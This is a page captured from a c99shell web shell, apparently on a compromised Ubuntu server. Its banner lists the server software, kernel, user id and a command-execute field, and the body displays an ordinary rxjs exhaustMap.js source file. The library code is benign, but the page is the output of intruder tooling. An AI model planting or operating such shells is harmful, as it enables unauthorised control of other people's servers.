Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/local/lib/node_modules/strapi/node_modules/rxjs/_esm5/internal/operators/ drwxr-xr-x | |
| Viewing file: Select action/file-type: /** PURE_IMPORTS_START tslib,_map,_observable_from,_innerSubscribe PURE_IMPORTS_END */
import * as tslib_1 from "tslib";
import { map } from './map';
import { from } from '../observable/from';
import { SimpleOuterSubscriber, SimpleInnerSubscriber, innerSubscribe } from '../innerSubscribe';
export function exhaustMap(project, resultSelector) {
if (resultSelector) {
return function (source) { return source.pipe(exhaustMap(function (a, i) { return from(project(a, i)).pipe(map(function (b, ii) { return resultSelector(a, b, i, ii); })); })); };
}
return function (source) {
return source.lift(new ExhaustMapOperator(project));
};
}
var ExhaustMapOperator = /*@__PURE__*/ (function () {
function ExhaustMapOperator(project) {
this.project = project;
}
ExhaustMapOperator.prototype.call = function (subscriber, source) {
return source.subscribe(new ExhaustMapSubscriber(subscriber, this.project));
};
return ExhaustMapOperator;
}());
var ExhaustMapSubscriber = /*@__PURE__*/ (function (_super) {
tslib_1.__extends(ExhaustMapSubscriber, _super);
function ExhaustMapSubscriber(destination, project) {
var _this = _super.call(this, destination) || this;
_this.project = project;
_this.hasSubscription = false;
_this.hasCompleted = false;
_this.index = 0;
return _this;
}
ExhaustMapSubscriber.prototype._next = function (value) {
if (!this.hasSubscription) {
this.tryNext(value);
}
};
ExhaustMapSubscriber.prototype.tryNext = function (value) {
var result;
var index = this.index++;
try {
result = this.project(value, index);
}
catch (err) {
this.destination.error(err);
return;
}
this.hasSubscription = true;
this._innerSub(result);
};
ExhaustMapSubscriber.prototype._innerSub = function (result) {
var innerSubscriber = new SimpleInnerSubscriber(this);
var destination = this.destination;
destination.add(innerSubscriber);
var innerSubscription = innerSubscribe(result, innerSubscriber);
if (innerSubscription !== innerSubscriber) {
destination.add(innerSubscription);
}
};
ExhaustMapSubscriber.prototype._complete = function () {
this.hasCompleted = true;
if (!this.hasSubscription) {
this.destination.complete();
}
this.unsubscribe();
};
ExhaustMapSubscriber.prototype.notifyNext = function (innerValue) {
this.destination.next(innerValue);
};
ExhaustMapSubscriber.prototype.notifyError = function (err) {
this.destination.error(err);
};
ExhaustMapSubscriber.prototype.notifyComplete = function () {
this.hasSubscription = false;
if (this.hasCompleted) {
this.destination.complete();
}
};
return ExhaustMapSubscriber;
}(SimpleOuterSubscriber));
//# sourceMappingURL=exhaustMap.js.map
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]-- |